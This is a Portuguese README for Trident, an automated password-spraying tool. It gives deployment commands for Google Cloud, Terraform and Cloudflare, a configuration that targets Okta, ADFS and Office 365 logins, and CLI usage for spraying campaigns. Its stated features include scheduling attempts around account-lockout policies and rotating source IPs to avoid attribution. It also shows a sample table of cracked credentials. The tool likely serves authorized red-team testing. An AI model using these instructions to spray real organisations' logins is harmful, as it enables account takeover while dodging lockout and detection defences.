
ferramenta automatizada de pulverização de senhas
O projeto Trident é uma ferramenta automatizada de pulverização de senhas desenvolvida para atender aos seguintes requisitos:
a capacidade de ser implantado em várias plataformas de nuvem/provedores de execução
a capacidade de agendar campanhas de pulverização de acordo com a política de bloqueio de contas de um alvo
a capacidade de aumentar o conjunto de IPs de origem das tentativas de autenticação para fins de segurança operacional
a capacidade de estender rapidamente a funcionalidade para incluir plataformas de autenticação recentemente encontradas

Este diagrama foi gerado usando Diagrams. O gopher Go foi projetado por Renee French e está licenciado sob CC BY 3.0.
Implantar o trident requer um projeto do Google Cloud, um nome de domínio (para a API do orchestrator) e uma configuração do Cloudflare Access para este domínio. O Cloudflare Access é usado para autenticar solicitações à API do orchestrator.
brew install cloudflare/cloudflare/cloudflared
brew install terraform
cd terraform
cloudflared login
terraform init
terraform plan
terraform apply
O Trident possui uma interface de linha de comando disponível na página de releases. Alternativamente, você pode baixar e instalar o trident-client via go get:
GO111MODULE=on go get github.com/praetorian-inc/trident/cmd/trident-client
O binário trident-client envia requisições de API para o orchestrator. Ele lê de ~/.trident/config.yaml, que possui o seguinte formato:
orchestrator-url: https://trident.example.org
providers:
okta:
subdomain: example
adfs:
domain: adfs.example.org
o365:
domain: login.microsoft.com
Com um config.yaml válido, o trident-client pode ser usado para criar campanhas de pulverização de senhas, como mostrado abaixo:
trident-client campaign -u usernames.txt -p passwords.txt --interval 5s --window 120s
A opção --interval permite que o operador insira atrasos entre as tentativas de credenciais. A opção --window permite que o operador defina um horário de parada forçada para a campanha. Argumentos adicionais estão documentados abaixo:
Usage:
trident-cli campaign [flags]
Flags:
-a, --auth-provider string this is the authentication platform you are attacking (default "okta")
-h, --help help for campaign
-i, --interval duration requests will happen with this interval between them (default 1s)
-b, --notbefore string requests will not start before this time (default "2020-09-09T22:31:38.643959-05:00")
-p, --passfile string file of passwords (newline separated)
-u, --userfile string file of usernames (newline separated)
-w, --window duration a duration that this campaign will be active (ex: 4w) (default 672h0m0s)
O subcomando results pode ser usado para consultar a tabela de resultados. Este subcomando possui várias opções, mas por padrão mostra todas as credenciais válidas em todas as campanhas.
$ trident-client results
+----+-------------------+------------+-------+
| ID | USERNAME | PASSWORD | VALID |
+----+-------------------+------------+-------+
| 1 | [email protected] | Password1! | true |
| 2 | [email protected] | Password2! | true |
| 3 | [email protected] | Password3! | true |
+----+-------------------+------------+-------+
Argumentos adicionais estão documentados abaixo:
Usage:
trident-cli results [flags]
Flags:
-f, --filter string filter on db results (specified in JSON) (default '{"valid":true}')
-h, --help help for results
-o, --output-format string output format (table, csv, json) (default "table")
-r, --return string the list of fields you would like to see from the results (comma-separated string) (default "*")